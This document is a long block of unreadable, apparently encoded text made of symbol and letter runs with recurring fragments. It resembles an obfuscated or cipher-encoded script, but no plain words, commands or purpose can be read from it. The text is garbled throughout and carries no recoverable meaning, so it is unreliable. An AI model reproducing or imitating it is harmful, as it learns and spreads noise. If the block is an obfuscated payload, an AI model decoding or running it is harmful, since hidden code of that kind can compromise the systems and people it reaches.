EBXMG[FFK@K\\KAwNND@UGH@\HB@q^A]T]ZBEHFVVGEBXMG[FFK@K\\KAwE[sZ]V\MU]NVKq&&&GAB^D^XUCOVEBXKIXsC\XECBVUAG_IICHX &EJGAB^D^XUCOV

NND@UGH@\HB@GAB^D^XUCOV^A]T]ZBEHFVVGW&^IXY^BJM@_I&Q&&&&&NMJEG\[OsEBXKIXsC\XECBNND@UGH@\HB@ &EJNMJEG\[OsW&&HGFDV]^EEBXKIXsC\XECBVUAG_IICHX &HB_^sM@DVM^^MU    &TC^V\BZFHB_^sM@DVwVUAG_IICHX E[sZ]V\MU]NVKHGFDV]^E q&&&TC^V\BZFVUAG_IICHX EBXTC^V\BZF&EJNND@UGH@\HB@NMJEG\[OsTC^V\BZFW&l_Y_\IBHDIM^XNIMX&&^IXY^BJM@_I&Q&Q&&^IXY^BX^YI&Q&&JYBOXECBD^MNVOUJZAXZB&W&HGFDV]^EEBXKIXsC\XECBE[sZ]V\MU]NVK &Y\HMXIsC\XECBNND@UGH@\HB@ HGFDV]^E&Y\HMXIsC\XECBNND@UGH@\HB@ NND@UGH@\HB@&&Q&&JYBOXECBUX[_TZ^YBXI&&W&{|jIMXY^IHeAMKIBC^AM@]YCXEIBX&&I^BIDC@VM^^MU&X^UW&I^BIDC@VwE[sZ]V\MU]NVKq[KNGMVXV[KCMBM[JX&I^BIDC@VwE[sZ]V\MU]NVKq|d|szi~ecb&I^BIDC@VwE[sZ]V\MU]NVKqVUAG_IICHX&I^BIDC@VwEK^NHCBNJO_qVUAG_IICHXE[sZ]V\MU]NVK

E_s__@&I^BIDC@VwVUAG_IICHXqVUAG_IICHXNND@UGH@\HB@

E_sAY@XE_EXI&&&I^BIDC@VwNND@UGH@\HB@qE__IXk`cnm`wEK^NHCBNJO_q_X^EBKk`cnm`wE[sZ]V\MU]NVKq&I^BIDC@VwNND@UGH@\HB@qE__IXsi~zi~wEK^NHCBNJO_qNND@UGH@\HB@_X^EBKsi~zi~wEK^NHCBNJO_q  &&_ITZOVHTJ@E__IXk`cnm`wVUAG_IICHXq

NND@UGH@\HB@k`cnm`wEK^NHCBNJO_qVUAG_IICHXk`cnm`wE[sZ]V\MU]NVKq&&&I^BIDC@VwE[sZ]V\MU]NVKq_ITZOVHTJ@&I^BIDC@VwE[sZ]V\MU]NVKqE[sZ]V\MU]NVK_ITZOVHTJ@&I^BIDC@VwVUAG_IICHXqIA\XUk`cnm`wE[sZ]V\MU]NVKq&&&&I^BIDC@VwVUAG_IICHXqIA\XUk`cnm`wEK^NHCBNJO_q&I^BIDC@VwNND@UGH@\HB@qVUAG_IICHXEK^NHCBNJO_EBXlKIXsC\XECBE[sZ]V\MU]NVK &&I^BIDC@VwEK^NHCBNJO_qCHTMDV\DVBEsNND@UGH@\HB@ &I^BIDC@VwE[sZ]V\MU]NVKqVUAG_IICHXE[sZ]V\MU]NVKEBXlKIXsC\XECBE[sZ]V\MU]NVK &I^BIDC@VwEK^NHCBNJO_qEK^NHCBNJO_E[sZ]V\MU]NVKEBXlKIXsC\XECBE[sZ]V\MU]NVK &I^BIDC@VwEK^NHCBNJO_qNND@UGH@\HB@NND@UGH@\HB@EBXlKIXsC\XECBVUAG_IICHX &ZJKVHJYUH]T_YAHOZXYJM&I^BIDC@VwE[sZ]V\MU]NVKqlEK^NHCBNJO_ZJKVHJE[sZ]V\MU]NVKJEMMG_BBH]ZTXXZG_lNND@UGH@\HB@ZJKVHJE[sZ]V\MU]NVK JM@_I BY@@  &&&I^BIDC@VwEK^NHCBNJO_qlVUAG_IICHXZJKVHJEK^NHCBNJO_JEMMG_BBH]ZTXXZG_lNND@UGH@\HB@ZJKVHJVUAG_IICHX JM@_I BY@@  &I^BIDC@VwVUAG_IICHXqlVUAG_IICHXZJKVHJE[sZ]V\MU]NVKJEMMG_BBH]ZTXXZG_lVUAG_IICHXZJKVHJE[sZ]V\MU]NVK JM@_I BY@@  &sN\U]\ANG@EHKGEK^NHCBNJO_C_I\\NII@T^YDmn|mxdK &MMOIAVHsVKNND@UGH@\HB@C_I\\NII@T^YDmn|mxdK &I^BIDC@VwEK^NHCBNJO_q&JC^IMODM^^MU[AXXJCU]ZNBNKE ZJKVHJ mn|mxdE[sZ]V\MU]NVKM_@UZZNK^@_GXW&EJlNND@UGH@\HB@@UZZNK^@_GXsN\U]\ANG@EHKGVUAG_IICHXI^BIDC@VwNND@UGH@\HB@q&EJlVUAG_IICHX@UZZNK^@_GXMMOIAVHsVK

EBXlE[sZ]V\MU]NVK@UZZNK^@_GXMMOIAVHsVKNND@UGH@\HB@W&I^BIDC@VwNND@UGH@\HB@q&N^IMG&&&Q&Q&YB_IXMMOIAVHsVK @UZZNK^@_GX&^ZCC_s^sDC]YE[sZ]V\MU]NVKVUAG_IICHXlE[sZ]V\MU]NVKNND@UGH@\HB@JM@_I&EJEK^NHCBNJO_^ZCC_s^sDC]YPP^ZCC_s^sDC]YPP^ZCC_s^sDC]YVUAG_IICHX^ZCC_s^sDC]YE[sZ]V\MU]NVK&I^BIDC@VwEK^NHCBNJO_qlVUAG_IICHXmn|mxd^ZCC_s^sDC]Y

NND@UGH@\HB@_X^EBKlVUAG_IICHXmn|mxd^ZCC_s^sDC]Y E[sZ]V\MU]NVKJM@_I&I^BIDC@VwVUAG_IICHXqlE[sZ]V\MU]NVKmn|mxdVUAG_IICHX

E[sZ]V\MU]NVK_X^EBKlE[sZ]V\MU]NVKmn|mxdNND@UGH@\HB@ VUAG_IICHXJM@_I&&&I^BIDC@VwVUAG_IICHXqlE[sZ]V\MU]NVKmn|mxdEK^NHCBNJO_

EK^NHCBNJO__X^EBKlE[sZ]V\MU]NVKmn|mxdVUAG_IICHX JM@_I BY@@   VUAG_IICHXJM@_I&&&&I^BIDC@VwNND@UGH@\HB@qHIJEBIHE[sZ]V\MU]NVK&I^BIDC@VwNND@UGH@\HB@qHIJEBIHVUAG_IICHXPPHIJEBIHE[sZ]V\MU]NVKPPHIJEBIHE[sZ]V\MU]NVKPPNND@UGH@\HB@E[sZ]V\MU]NVKPPEK^NHCBNJO_E[sZ]V\MU]NVKPPE__IXk`cnm`wNND@UGH@\HB@qPPNND@UGH@\HB@NND@UGH@\HB@&I^BIDC@VwEK^NHCBNJO_qEBXKIXsC\XECBNND@UGH@\HB@ &I^BIDC@VwEK^NHCBNJO_qEBXKIXsC\XECBEK^NHCBNJO_ &I^BIDC@VwE[sZ]V\MU]NVKqEBXKIXsC\XECBE[sZ]V\MU]NVK &&&OD]\@_FKDDNEYZF[K[Y^VBGssTEK^NHCBNJO_ M^^MU@^JEIXXO^FJTFNBXU@^JEIXXO@^JEIXXO@^JEIXXO&&UN]E&&YJNYMIVsOUE&EJNND@UGH@\HB@OD]\@_FKDW&&&&JC^IMODOD]\@_FKDM_ADBT^MW&&&EJBsUVOYMH]HOJBHADBT^MOCBXEBYI&&UN]E&&CM_U_UEK^NHCBNJO_ADBT^MEBXE__IXADBT^MwNND@UGH@\HB@qADBT^MwE[sZ]V\MU]NVKq&\UYVsJNXNT[EK^NHCBNJO_ADBT^M

E__IXADBT^MwNND@UGH@\HB@qEBXADBT^MwEK^NHCBNJO_q&EJCM_U_U

\UYVsJNXNT[PP\UYVsJNXNT[NND@UGH@\HB@YJNYMIVsOUE&&&&Q&Q&I^BIDC@VwVUAG_IICHXqUN]E&&I^BIDC@VwE[sZ]V\MU]NVKqYJNYMIVsOUE&NY^^@][JONND@UGH@\HB@NND@UGH@\HB@lKIXsC\XECBEK^NHCBNJO_ &I^BIDC@VwNND@UGH@\HB@qVUAG_IICHXNY^^@][JOE[sZ]V\MU]NVKNY^^@][JO  r&DsYJKTN_VUAG_IICHXEK^NHCBNJO_lKIXsC\XECBE[sZ]V\MU]NVK M^^MUM^^MU&I^BIDC@VwE[sZ]V\MU]NVKqVUAG_IICHXDsYJKTN_

IA\XUDsYJKTN_wXqPPIA\XUDsYJKTN_wVUAG_IICHXq&QOMXODxD^C[MN@I@XB\NXsW&I^BIDC@VwVUAG_IICHXqEK^NHCBNJO_@XB\NXsKIXaI__MKI  &QOMXODiTOI\XECB@XB\NXsW&&&&I^BIDC@VwEK^NHCBNJO_qE[sZ]V\MU]NVK@XB\NXsKIXaI__MKI  TT&Q&&&^IXY^BI^BIDC@V&Q&&JYBOXECBAs]F\XVTDX^UG^HX&W&EJEK^NHCBNJO_E[sZ]V\MU]NVKW&^IXY^B_X^EBK_EXIsY^@EK^NHCBNJO_&Q&^IXY^BE[sZ]V\MU]NVKE[sZ]V\MU]NVK_X^EBK[\s@CKEBsY^@&Q&&&JYBOXECB[KVO\_ZUIGC]NJBZBGEssN&W&V^HMAMEBVY]C@&EJE[sZ]V\MU]NVKE[sZ]V\MU]NVKW&_BM\_DCXE_C@MXIH_ODIHY@I^&&V^HMAMEBVY]C@_X^EBKVUAG_IICHXDCAIsY^@ OCB_XMBXEK^NHCBNJO_&Q&EJV^HMAMEBVY]C@

E[sZ]V\MU]NVKE[sZ]V\MU]NVKW&V^HMAMEBVY]C@_X^EBKEK^NHCBNJO_KIXs_EXIsY^@ OCB_XMBXEK^NHCBNJO_&Q&EJV^HMAMEBVY]C@

VUAG_IICHXE[sZ]V\MU]NVKW&V^HMAMEBVY]C@_X^EBKVUAG_IICHXKIXsN@CKEBJCVUAG_IICHX OCB_XMBXE[sZ]V\MU]NVK&Q&EJV^HMAMEBVY]C@

EK^NHCBNJO_VUAG_IICHXW&V^HMAMEBVY]C@_X^EBKEK^NHCBNJO__X^EBKKIXsC\XECBE[sZ]V\MU]NVK  OCB_XMBXNND@UGH@\HB@&Q&EJV^HMAMEBVY]C@

E__IXsi~zi~wNND@UGH@\HB@qW&&V^HMAMEBVY]C@_X^EBKsi~zi~wNND@UGH@\HB@q&Q&&&EJV^HMAMEBVY]C@

E__IXsi~zi~wEK^NHCBNJO_qW&V^HMAMEBVY]C@_X^EBKsi~zi~wNND@UGH@\HB@q&Q&EJV^HMAMEBVY]C@W&{|xMN@In@COGOMY_M@AEHH@I[M^I&&^IXY^BBZBGEssN&Q&^IXY^BV^HMAMEBVY]C@&Q&JYBOXECBY^AN[@[[]\&W&X^UW&\C@UBCAEM@_XMNE@EVI^&&&&T_DZVFH\GB]VUAG_IICHXEK^NHCBNJO_EBXlEK^NHCBNJO_E[sZ]V\MU]NVK&EJEK^NHCBNJO_EK^NHCBNJO_lNND@UGH@\HB@&X_DFYTGUMZYFT_DZVFH\GB]TIT

T_DZVFH\GB]T_DZVFH\GB]T_DZVFH\GB]

T_DZVFH\GB]rTT&EJ\NVVsG^M@ZYBXFDUCW&^IXY^B&&&Q&&&&EJOAEFTH@JAB[E[sZ]V\MU]NVKW&^IXY^B&&Q&&CHETTCVs]NND@UGH@\HB@X^YI&&&^EZF^V[@[YIDHZU\GX[MZGHZ&EJ&VUAG_IICHX^EZF^V[@[YI&PPE__IX^EZF^V[@[YIwEK^NHCBNJO_qPPEK^NHCBNJO_^EZF^V[@[YIwEK^NHCBNJO_qPP^EZF^V[@[YIwEK^NHCBNJO_q&PPE__IX^EZF^V[@[YIwNND@UGH@\HB@qPPVUAG_IICHX^EZF^V[@[YIwNND@UGH@\HB@qPPIA\XU^EZF^V[@[YIwNND@UGH@\HB@q&W&&&&D^MNVOUJZAXZB&^IXY^B&Q&^DAC_Us\C_H^EZF^V[@[YIwE[sZ]V\MU]NVKq&]D@G^EZF^V[@[YIwEK^NHCBNJO_q&FVs@@VVXUVM^H[BGAZEK^NHCBNJO_ ^DAC_Us\C_H VUAG_IICHX&&&&DNEZTX_]NND@UGH@\HB@E[sZ]V\MU]NVK_X^EBKKIXsC\XECBEK^NHCBNJO_ ZNNTITTUNUXDHZNNTITT	&EJDNEZTX_]

EK^NHCBNJO_DNEZTX_] ]D@G X^YIW&]D@GE[sZ]V\MU]NVKVUAG_IICHX]D@G M^^MUDNEZTX_]&VUAG_IICHX]D@G&E[sZ]V\MU]NVK]D@G DNEZTX_]&QI@_IEJNND@UGH@\HB@]D@GW&NND@UGH@\HB@]D@G&Q&_X^IMAEBK_YN_XEXYXECBAM\&&&EJNND@UGH@\HB@X^YICHETTCVs]EBXX_DFYTGUMZYFW&__MOCBZI^X_XMNE@EVI^JC^{|~IHYTXC^I&&D^MNVOUJZAXZB&^IXY^B&&Q&&U@B[ABFYN[HsAGTFKY]DD&[HFGAIUI@EJKU@B[ABFYN[H&&&&&YIYJDIX]M^^MU&&&&EJVUAG_IICHXNND@UGH@\HB@W&JC^IMODM^^MUKIXsC\XECBE[sZ]V\MU]NVK M^^MUM_J@NJMVABE^CW&&&&EJNND@UGH@\HB@J@NJMVABE^C

J@NJMVABE^CW&YIYJDIX]wqJ@NJMVABE^C&Q&Q&Q&|d|AMXODIT\^I__ECBOYNEOODMEB&&&\A_VNUDOTXDM^^MU&EJHIJEBIHE[sZ]V\MU]NVKW&AC_OTDNND@UGH@\HB@EK^NHCBNJO_lNND@UGH@\HB@EK^NHCBNJO_{|ays|`ykebshe~ EK^NHCBNJO_JM@_I&EJEK^NHCBNJO_AC_OTDW&JC^IMODAC_OTDM_HI]ACMJAAN\W&\A_VNUDOTXDwqE[sZ]V\MU]NVKHI]ACMJAAN\&Q&\^C\MKMXIOCBBIOXIHN@CCAJE@XI^&&&&&Q&Q&&_NIANG@]OFM^^MU&&&&E[sZ]V\MU]NVK[KVO\_ZUIGC]NJ &VUAG_IICHX[KNGMVXV[KCMBM[JX &EK^NHCBNJO_EK^NHCBNJO_^_NIVAZ VUAG_IICHX &E[sZ]V\MU]NVKEK^NHCBNJO_mn|mxd VUAG_IICHX &VUAG_IICHXYIYJDIX] &EK^NHCBNJO_\A_VNUDOTXD &VUAG_IICHXAs]F\XVTDX^UG^HX &E[sZ]V\MU]NVKFG[YIAsJs]s^VNFMU@B[ABFYN[H &&&&E[sZ]V\MU]NVKBsNXH@YTYGCTVIZU@B[ABFYN[H &NND@UGH@\HB@C[\OB[^BFHBTK]^HXB_DB^VXK@AIT &&&&&&TFN_GXHODEK^NHCBNJO_NND@UGH@\HB@[\sF_CBsIBOCHI_NIANG@]OFVUAG_IICHX_NIANG@]OF&BZXJZYUC@BK][BVV_]V[N_DDUTIIEsTFN_GXHOD ^DAC_Us\C_H&@X[FGOM^^MUNND@UGH@\HB@E[sZ]V\MU]NVK&&&&sKAATDKTDFX[CBY@@&&&&D^MNVOUJZAXZB&&JC^IMOD]D@GM_FAFO\HKJW&&EJE[sZ]V\MU]NVKX^YICHETTCVs]X_DFYTGUMZYFW&N^IMG&&Q&&FAFO\HKJE[sZ]V\MU]NVK_X^EBKFAFO\HKJ&&EJFAFO\HKJW&OCBXEBYI&Q&X^UW&OCB_EHI^EB@EBEBK&&&&&EIF[XF]^DAC_Us\C_H&&&&TDTACBVZ[K]A^ZXHKCZOFAFO\HKJ BZXJZYUC@BK][B @X[FGO r JYBOXECBXZX\D@H_NY_IEIF[XF]W&I^BIDC@VVV_]V[N_DDUTIIEsXZX\D@H_N EIF[XF]&&EJI^BIDC@V^IXY^BJM@_I&^IXY^BNND@UGH@\HB@lEK^NHCBNJO_EK^NHCBNJO_I^BIDC@V X^YI&Q&EJTDTACBVZ[K]A^W&CGTNsH^OGY_HMU@YVUAG_IICHX VUAG_IICHXFAFO\HKJ&OCBXEBYI&Q&|~AI__MKI_NIBODAM^GEXI^MXC^&&&&AUG\\IXBVV_]V[N_DDUTIIEsTDTACBVZ[K]A^ ^DAC_Us\C_H&EJAUG\\IXBW&CGTNsH^OGY_HMU@YEK^NHCBNJO_ VUAG_IICHXFAFO\HKJ&OCBXEBYI&Q&sKAATDKTDFX[ClE[sZ]V\MU]NVKVUAG_IICHXAUG\\IXB X^YI&&&&EJNND@UGH@\HB@sKAATDKTDFX[CW&&EJE[sZ]V\MU]NVKE[sZ]V\MU]NVKW&{|~EODxITXm|eC\XECB^C[&&&Y\HMXIsC\XECBEK^NHCBNJO_ FAFO\HKJ&Q&N^IMG&QI@_IW&CGTNsH^OGY_HMU@YE[sZ]V\MU]NVK NND@UGH@\HB@FAFO\HKJ&Q&QOMXODxD^C[MN@I@XB\NXsW&CGTNsH^OGY_HMU@YE[sZ]V\MU]NVK @XB\NXs&OCBXEBYI&QOMXODiTOI\XECB@XB\NXsW&OCBXEBYI&Q&&Q&EJNND@UGH@\HB@sKAATDKTDFX[CW&Z[E\X@FM^NVV_]V[N_DDUTIIEsEK^NHCBNJO_M^^MU&VUAG_IICHX[KVO\_ZUIGC]NJ &E[sZ]V\MU]NVK[KNGMVXV[KCMBM[JX &&EK^NHCBNJO_E[sZ]V\MU]NVK^_NIVAZ E[sZ]V\MU]NVK &&EK^NHCBNJO_ && ^DAC_Us\C_H&OZE^G@JKsZEK^NHCBNJO__X^X^NND@UGH@\HB@Z[E\X@FM^N VUAG_IICHX NND@UGH@\HB@ &IKGVX]ATEHMEK^NHCBNJO_OZE^G@JKsZ &JC^IMOD]D@GM_FAFO\HKJW&&EJEK^NHCBNJO_X^YICHETTCVs]X_DFYTGUMZYFW&N^IMG&Q&FAFO\HKJEK^NHCBNJO__X^EBKFAFO\HKJO]GE\|d|sebxsamt|d|sebxsamt@Ds\VGHY\AO]GE\&EJFAFO\HKJW&lACBCAC^\DEVIYBEJEOMXECB&&OCBXEBYI&Q&G_DGA__[C_I\\NII@T^YD[KVO\_ZUIGC]NJE[sZ]V\MU]NVKX^YI &&AFA^I_EGNKYZE[sZ]V\MU]NVKIKGVX]ATEHM&K@_E]METE[sZ]V\MU]NVKFAFO\HKJ JM@_I
&JC^XGZ]DIEXGZ]DIEAFA^I_EGNKYZXGZ]DIEW&&&EJNND@UGH@\HB@X^YICHETTCVs]X_DFYTGUMZYFW&N^IMG&Q&]YZT^ZBVAGAXGZ]DIEAFA^I_EGNKYZ&D[G^]ND[GXVFAFO\HKJK@_E]METE[sZ]V\MU]NVKG_DGA__[VUAG_IICHXXGZ]DIEEK^NHCBNJO_AFA^I_EGNKYZEK^NHCBNJO_IKGVX]ATEHMwXGZ]DIEq&ENY_H_^_]sNC^\VME\D[G^]ND[GXV  ]YZT^ZBVAGAJYBOXECBXZX\D@H_NY_I^DAC_Us\C_HW&I^BIDC@VVV_]V[N_DDUTIIEsXZX\D@H_N ^DAC_Us\C_H&&EJI^BIDC@V^IXY^BJM@_I&^IXY^BE[sZ]V\MU]NVKlVUAG_IICHXNND@UGH@\HB@I^BIDC@V X^YI&QBY@@&EJ]YZT^ZBVAGA

E[sZ]V\MU]NVKENY_H

ENY_HW&sKHVV_]V[N_DDUTIIEsENY_H ^DAC_Us\C_H&&sN\U]\ANG@EHKGsKHlVUAG_IICHXNND@UGH@\HB@sKH X^YIBY@@&EJNND@UGH@\HB@sN\U]\ANG@EHKGW&&&sKAATDKTDFX[CsN\U]\ANG@EHKGVOZYGZU_^NH_O@^COY[VOZYGZU_	&EJNND@UGH@\HB@E[sZ]V\MU]NVKW&Y\HMXIsC\XECBVUAG_IICHX FAFO\HKJ&Q&&&&N^IMG&&Q&&&&Q&&Q&EJNND@UGH@\HB@sKAATDKTDFX[CW&N^IMG&Q&Q&Q&EJEK^NHCBNJO_sKAATDKTDFX[CW&^IXY^B&Q&EJC[\OB[^BFHBT

EK^NHCBNJO_NND@UGH@\HB@W&HI@IXIsC\XECBIZI\KU[s_MTCYYCE[sZ]V\MU]NVK&Q&EJE__IXk`cnm`wVUAG_IICHXqPPEK^NHCBNJO_k`cnm`wVUAG_IICHXqk`cnm`wNND@UGH@\HB@qM^^MU&&&&k`cnm`wVUAG_IICHXqEK^NHCBNJO_EK^NHCBNJO_k`cnm`wVUAG_IICHXq C[\OB[^BFHBT&EJE__IXsKAATDKTDFX[CwNND@UGH@\HB@q

VUAG_IICHXsKAATDKTDFX[CwNND@UGH@\HB@qW&AGMUUD\UZF\UDYsKAATDKTDFX[CwE[sZ]V\MU]NVKq E__IXsKAATDKTDFX[CwEK^NHCBNJO_q

NND@UGH@\HB@sKAATDKTDFX[CwNND@UGH@\HB@qsKAATDKTDFX[CwVUAG_IICHXq IA\XUsKAATDKTDFX[CwEK^NHCBNJO_q&Q&&DNC_TDNJM@_I&&JE[DCsA^AUNM^^MU&&&EJE__IXsKAATDKTDFX[CwEK^NHCBNJO_q

VUAG_IICHXsKAATDKTDFX[CwEK^NHCBNJO_qW&EK\DJGMIM^^MU&&JC^IMODsKAATDKTDFX[CwNND@UGH@\HB@qM_\FJCOCFJYW&EJE[sZ]V\MU]NVK\FJCOCFJY

\FJCOCFJYW&EK\DJGMIwq\FJCOCFJY&Q&HEMKBC_XEOHMXMJ@C[K^M\D&&Q&ZB]GI[ZMNk`cnm`wVUAG_IICHXq&EK\DJGMIVHHHVJAJVHEUKUEK\DJGMI&&&&k`cnm`wEK^NHCBNJO_qEK\DJGMI&JE[DCsA^AUNwVUAG_IICHXqEK\DJGMI&EJIA\XUVUAG_IICHXEK\DJGMI ZB]GI[ZMNPPIA\XUE[sZ]V\MU]NVKZB]GI[ZMN EK\DJGMIW&DNC_TDNX^YI&Q&&Q&&EJE__IXsKAATDKTDFX[CwVUAG_IICHXq

EK^NHCBNJO_sKAATDKTDFX[CwNND@UGH@\HB@qW&EK\DJGMIM^^MU&&JC^IMODsKAATDKTDFX[CwE[sZ]V\MU]NVKqM_\FJCOCFJYW&EJEK^NHCBNJO_\FJCOCFJY

\FJCOCFJYW&EK\DJGMIwq\FJCOCFJY&Q&Q&ZB]GI[ZMNk`cnm`wVUAG_IICHXq&&&&EK\DJGMIVHHHVJAJVHEUKUEK\DJGMI&&&k`cnm`wEK^NHCBNJO_qEK\DJGMI&JE[DCsA^AUNwE[sZ]V\MU]NVKqEK\DJGMI&EJIA\XUVUAG_IICHXEK\DJGMI ZB]GI[ZMNPPIA\XUEK^NHCBNJO_ZB]GI[ZMN EK\DJGMIW&&&DNC_TDNX^YI&Q&Q&AN_X^EBK_X^EOXMNC^XI]YEZM@IBOIO@M__&&EJE__IXsKAATDKTDFX[CwE[sZ]V\MU]NVKq

E[sZ]V\MU]NVKsKAATDKTDFX[CwEK^NHCBNJO_qW&OKE@K_GC[OCHTMDV\DVBEsE[sZ]V\MU]NVK &k`cnm`wNND@UGH@\HB@qsKAATDKTDFX[CwVUAG_IICHXq&JE[DCsA^AUNwNND@UGH@\HB@qsKAATDKTDFX[CwE[sZ]V\MU]NVKq&EJE[sZ]V\MU]NVKsKAATDKTDFX[CwVUAG_IICHXqEK^NHCBNJO_OKE@K_GC[OW&DI^AEXEMBZE_EXC^&&FVs@@VVXUVM^H[BGAZE[sZ]V\MU]NVK sKAATDKTDFX[CwNND@UGH@\HB@q E[sZ]V\MU]NVK&^FHD]Z]\YEG^YGKY&Q&YB_IXOKE@K_GC[O&&&Q&HYZAAHBE__IXsKAATDKTDFX[CwE[sZ]V\MU]NVKq

NND@UGH@\HB@sKAATDKTDFX[CwE[sZ]V\MU]NVKqsKAATDKTDFX[CwVUAG_IICHXqM^^MU&&&EJE__IXHYZAAHBwVUAG_IICHXq

NND@UGH@\HB@HYZAAHBwNND@UGH@\HB@qW&EJE[sZ]V\MU]NVKHYZAAHBwVUAG_IICHXqTTJW&&&&k`cnm`wE[sZ]V\MU]NVKqHYZAAHBwVUAG_IICHXq&JE[DCsA^AUNwNND@UGH@\HB@qHYZAAHBwNND@UGH@\HB@q&QI@_IW&&&k`cnm`wVUAG_IICHXq&JE[DCsA^AUNwE[sZ]V\MU]NVKq&FVs@@VVXUVM^H[BGAZVUAG_IICHX  EK^NHCBNJO_&&&Q&Q&EJE__IXHYZAAHBwVUAG_IICHXq

NND@UGH@\HB@HYZAAHBwNND@UGH@\HB@qW&EJNND@UGH@\HB@HYZAAHBwNND@UGH@\HB@qW&k`cnm`wEK^NHCBNJO_qHYZAAHBwEK^NHCBNJO_q&JE[DCsA^AUNwE[sZ]V\MU]NVKqHYZAAHBwNND@UGH@\HB@q&QI@_IW&k`cnm`wNND@UGH@\HB@q&JE[DCsA^AUNwVUAG_IICHXq&FVs@@VVXUVM^H[BGAZNND@UGH@\HB@  NND@UGH@\HB@&&Q&Q&ZIYAMBAVKsE__IXsKAATDKTDFX[CwE[sZ]V\MU]NVKq

E[sZ]V\MU]NVKsKAATDKTDFX[CwEK^NHCBNJO_qsKAATDKTDFX[CwEK^NHCBNJO_qM^^MU&ZX_DN]MNUOOM^^MU&VUAG_IICHXNND@UGH@\HB@ &NND@UGH@\HB@EK^NHCBNJO_ &&E[sZ]V\MU]NVKNND@UGH@\HB@ &EK^NHCBNJO_NND@UGH@\HB@ &EK^NHCBNJO_E[sZ]V\MU]NVK &E[sZ]V\MU]NVKVUAG_IICHX &NND@UGH@\HB@EK^NHCBNJO_ &&&NND@UGH@\HB@NND@UGH@\HB@ &&JC^IMODZX_DN]MNUOOM_ZFMEsN^JZ]@CX]AXIFW&EJE__IXZIYAMBAVKswZFMEsN^Jq

EK^NHCBNJO_ZIYAMBAVKswZFMEsN^Jq

NND@UGH@\HB@ZIYAMBAVKswZFMEsN^JqrW&JE[DCsA^AUNwZ]@CX]AXIFqZIYAMBAVKswZFMEsN^Jq&Q&Q&EJE__IXsKAATDKTDFX[CwNND@UGH@\HB@q

NND@UGH@\HB@sKAATDKTDFX[CwVUAG_IICHXqW&&ZHD@EYZY@OEBXsKAATDKTDFX[CwEK^NHCBNJO_q&EJZHD@EYZY@O

ZHD@EYZY@OTJJTJE[DCsA^AUNwEK^NHCBNJO_qZHD@EYZY@O&Q&EJE__IXsKAATDKTDFX[CwE[sZ]V\MU]NVKq

VUAG_IICHXsKAATDKTDFX[CwE[sZ]V\MU]NVKqW&sOEEBXsKAATDKTDFX[CwEK^NHCBNJO_q&EJsOE

sOEJE[DCsA^AUNwNND@UGH@\HB@qsOE&Q&EJIA\XUJE[DCsA^AUNW&HI@IXIsC\XECBEK^NHCBNJO_&HI@IXIsC\XECBE[sZ]V\MU]NVK&Y\HMXIsC\XECBE[sZ]V\MU]NVK EK^NHCBNJO_&HI@IXIsX^MB_EIBXNND@UGH@\HB@&&&V@KA\HOY[[FVMCGXs[HMXGHEUJHs[HMXGHE&&&&@GJZNOEK]OOO_&^IXY^B&Q&&&&&Y^CZYHD[DXMDE_JBsZH]^MGZTYE[sZ]V\MU]NVK JM@_I&&&EJVUAG_IICHXY^CZYHD[DXW&JE[DCsA^AUNNND@UGH@\HB@Y^CZYHD[DX JE[DCsA^AUNZDAAOC[@|d|sebxsamt|d|sebxsamtHBU]CVJF\ZDAAOC[@&Q&&EJE[sZ]V\MU]NVKEK^NHCBNJO_W&^A]T]ZBEHFVVGDITC]GEBE[]&&&EJE__IXJE[DCsA^AUNwE[sZ]V\MU]NVKq

EBXJE[DCsA^AUNwNND@UGH@\HB@q

EBXJE[DCsA^AUNwVUAG_IICHXq^A]T]ZBEHFVVGEBXJE[DCsA^AUNwEK^NHCBNJO_q&&_IXsX^MB_EIBXM__^sKEVEG_] JE[DCsA^AUN ^A]T]ZBEHFVVG&Q&&[TGXDMJE[sZ]V\MU]NVK JE[DCsA^AUN NND@UGH@\HB@&&&EJE__IXJE[DCsA^AUNwEK^NHCBNJO_q

EK^NHCBNJO_EK^NHCBNJO_

EK^NHCBNJO_NND@UGH@\HB@

EK^NHCBNJO_E[sZ]V\MU]NVKW&FM]HZ^OG[ZDT]DA[\sKIXs_ODIHY@IHsIZIBXVB[AV][^ZI&EJFM]HZ^OG[ZDT]DA

EBXFM]HZ^OG[ZDT]DAEBXI^ZM@EBXJE[DCsA^AUNwNND@UGH@\HB@qW&&[\sO@IM^s_ODIHY@IHsDCCGVB[AV][^ZI&[\s_ODIHY@IsIZIBXE[sZ]V\MU]NVKVUAG_IICHXr  NND@UGH@\HB@ VB[AV][^ZI&Q&Q&Y\HMXIsC\XECBE[sZ]V\MU]NVK NND@UGH@\HB@&HI@IXIsC\XECBEK^NHCBNJO_&HI@IXIsC\XECBE[sZ]V\MU]NVK&HI@IXIsX^MB_EIBXVUAG_IICHX&V@KA\HOY[[FVMCGX&@GJZNOEK]OOO_&&&&&EJDNC_TDNW&\^FUFOFYZVZ^VMFJs&Q&QOMXODxD^C[MN@I@XB\NXsW&HIM@@COMXIOCZM^EMBXJC^{|~ixm|eZ&&CGTNsH^OGY_HMU@YNND@UGH@\HB@ @XB\NXs&QOMXODiTOI\XECB@XB\NXsW&QJEBM@@UW&K_DAMCNEUO^NND@UGH@\HB@&Q&Q&&&&&&JYBOXECBAGMUUD\UZF\UDYMIs_MH\N ^EEDVYVYGFB UVM^^A]TJM@_I&W&EJOAEFTH@JAB[EK^NHCBNJO_^IXY^B&X^UW&&KBDGNTK]XlVUAG_IICHXMIs_MH\N X^YI&EJE[sZ]V\MU]NVKKBDGNTK]X

NND@UGH@\HB@KBDGNTK]XTTIKBDGNTK]XF[sE_EYEDFGFIKBDGNTK]X&EJKBDGNTK]XPPEK^NHCBNJO_KBDGNTK]XPPNND@UGH@\HB@KBDGNTK]X NND@UGH@\HB@W&^IXY^B&Q&EJZVHB^HE]OsNOVNYKBDGNTK]XW&CGTNsH^OGY_HMU@YVUAG_IICHX EK^NHCBNJO_&^IXY^B&Q&EJE[sZ]V\MU]NVKVUAG_IICHX NND@UGH@\HB@KBDGNTK]X   \\JJOU_CV[W&EJ^EEDVYVYGFB

^EEDVYVYGFB\\JJOU_CV[wqW&CGTNsH^OGY_HMU@YEK^NHCBNJO_ EK^NHCBNJO_XUYJGU\TVCOA@^K_VU@@XUYJGU\TVC	&^IXY^B&Q&^EEDVYVYGFB\\JJOU_CV[wq&&&QI@_IW&CGTNsH^OGY_HMU@YNND@UGH@\HB@ E[sZ]V\MU]NVK&^IXY^B&Q&&&EJUVM^^A]T

